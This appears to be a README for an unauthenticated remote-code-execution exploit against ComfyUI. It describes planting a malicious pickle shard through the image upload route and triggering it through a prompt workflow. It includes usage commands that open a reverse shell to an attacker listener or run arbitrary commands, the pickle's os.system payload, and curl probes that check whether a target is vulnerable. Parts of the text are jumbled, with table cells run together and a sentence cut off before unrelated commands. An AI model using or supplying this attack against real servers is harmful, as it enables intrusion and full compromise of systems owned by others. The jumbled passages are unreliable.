
Unauthenticated exploit for CVE-2026-68771, a pickle deserialization RCE in ComfyUI. Plants a crafted shard via /upload/image, triggers it through /prompt, and executes commands or opens a reverse shell.
Unauthenticated remote code execution in ComfyUI
via the LoadTrainingDataset node.
LoadTrainingDataset.execute() loads dataset shards from the server's output directory with
torch.load(f) and no weights_only=True. On PyTorch < 2.6 (where weights_only
defaults to False) a crafted shard_*.pkl runs its pickle __reduce__ on load (CWE-502).
ComfyUI ships without authentication, and the /upload/image route (with type=output)
writes the raw uploaded bytes with no extension check, so a .pkl can be planted and then
triggered in two unauthenticated requests.
0.23.0 on PyTorch < 2.68188 (unauthenticated)Python 3 standard library only — no dependencies.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
The command runs on the server; its output is not returned, so use --shell for a reverse
shell (or write to a readable path) to observe the result.
Two unauthenticated requests:
Plant — POST /upload/image with type=output, subfolder=training_dataset, filename
shard_0000.pkl. The /upload/image route writes the raw bytes (no image processing on that
path), so the pickle lands verbatim at output/training_dataset/shard_0000.pkl. The pickle's
__reduce__ returns (os.system, (cmd,)).
Trigger — POST /prompt with a workflow: a LoadTrainingDataset node
(folder_name=training_dataset) wired to a SaveLatent output node. The output node forces
ComfyUI to execute LoadTrainingDataset, which globs and calls:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only defaults to True and the restricted
unpickler rejects os.system.For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
The pickle __reduce__ runs os.system(cmd) during deserialization.